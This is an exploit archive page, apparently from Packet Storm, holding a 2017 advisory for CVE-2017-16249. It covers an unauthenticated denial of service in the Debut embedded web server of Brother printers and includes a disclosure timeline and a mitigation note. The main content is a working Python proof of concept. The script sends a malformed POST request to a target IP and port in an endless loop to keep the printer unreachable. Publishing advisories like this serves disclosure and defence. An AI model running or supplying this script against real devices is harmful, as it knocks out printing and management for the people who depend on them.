exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Debut Embedded httpd 1.20 Denial Of Service

Debut Embedded httpd 1.20 Denial Of Service
Posted Nov 7, 2017
Authored by z00n

The Debut embedded http server contains a remotely exploitable denial of service where a single malformed HTTP POST request can cause the server to hang until eventually replying with an HTTP 500 error. While the server is hung, print jobs over the network are blocked and the web interface is inaccessible. An attacker can continuously send this malformed request to keep the device inaccessible to legitimate traffic. Version 1.20 is affected.

tags | exploit, web, denial of service
advisories | CVE-2017-16249
SHA-256 | 33b51d9203941cb12d9921c3219f8a481b8821ca9ff20c985b0a30b00156a38f

Debut Embedded httpd 1.20 Denial Of Service

Change Mirror Download
# Exploit Title: Remote un-authenticated DoS in Debut embedded httpd server in Brother printers
# Date: 11/02/2017
# Exploit Author: z00n (@0xz00n)
# Vendor Homepage: http://www.brother-usa.com
# Version: <= 1.20
# CVE : CVE-2017-16249
#
#Description:
#The Debut embedded http server contains a remotely exploitable denial of service where a single malformed HTTP POST request can cause the server to hang until eventually replying with an HTTP 500 error. While the server is hung, print jobs over the network are blocked and the web interface is inaccessible. An attacker can continuously send this malformed request to keep the device inaccessible to legitimate traffic.
#
#Remediation Steps:
#No patch currently exists for this issue. To limit exposure, network access to these devices should be limited to authorized personnel through the use of Access Control Lists and proper network segmentation.
#
#Disclosure Attempts:
#09/11/2017 - Attempt to contact vendor
#10/03/2017 - Live chat communications with vendor regarding no reply
#10/25/2017 - Attempt to contact vendor
#11/02/2017 - Advisory published
#
#Proof of Concept:

#!/usr/bin/python
import socket
import sys

target = raw_input("[*] Enter target IP or hostname: ")
port = raw_input("[*] Enter target port: ")

payload = "POST / HTTP/1.1\r\n"
payload += "Host: asdasdasd\r\n"
payload += "User-Agent: asdasdasd\r\n"
payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
payload += "Accept-Language: en-US,en;q=0.5\r\n"
payload += "Referer: asdasdasdasd\r\n"
payload += "Connection: close\r\n"
payload += "Upgrade-Insecure-Requests: 1\r\n"
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "Content-Length: 42\r\n"
payload += "asdasdasdasdasdasdasd\r\n\r\n"

print "[*] Starting DOS. Payload will be sent every time the server responds."
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((target,int(port)))
print "[*] Sending DOS payload"
s.send(payload)
# Wait for server to respond with 500 error
s.recv(4096)
s.close()
except:
print("[!] Can't connect to target")
sys.exit()


Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    10 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close